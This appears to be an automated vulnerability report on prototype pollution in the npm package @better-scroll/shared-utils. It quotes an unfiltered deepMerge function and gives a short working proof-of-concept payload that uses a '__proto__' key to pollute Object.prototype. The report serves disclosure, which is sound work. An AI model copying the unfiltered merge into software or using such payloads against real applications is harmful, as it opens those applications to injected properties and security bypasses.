Prototype Pollution in @better-scroll/shared-utils

Basic Information

Package Name: @better-scroll/shared-utils Package URL: https://www.npmjs.com/package/@better-scroll/shared-utils Report URL: home_chluo_Argus-0205_Argus-main_npm_packages_@better-scroll__shared-utils_pollution_report.md Vulnerable Code Location: src/shared/util.ts → deepMerge function

Vulnerability Details

Vulnerability Type: Prototype Pollution Root Cause The deep merge function deepMerge in the package fails to filter dangerous property names such as proto and constructor when recursively iterating over object key-value pairs. Attackers can modify the global Object.prototype through controllable input, resulting in prototype pollution. Problem Code Location File: src/shared/util.ts Function: deepMerge Vulnerable Line: Loops through the object and assigns values directly without security validation Vulnerable Code Snippet

export function deepMerge(target: any, src: any) {
  // No dangerous key filtering, assign values by direct iteration
  for (const key in src) {
    if (target[key] && isObject(target[key])) {
      deepMerge(target[key], src[key]);
    } else {
      target[key] = src[key]; // Core Vulnerable Line: Can write __proto__ to pollute the prototype
    }
  }
}

POC (Reproducible Directly)

const utils = require('@better-scroll/shared-utils');
const payload = JSON.parse('{"__proto__":{"malicious":"pwned!"}}');
utils.deepMerge({}, payload);
console.log({}.malicious); // Output: pwned!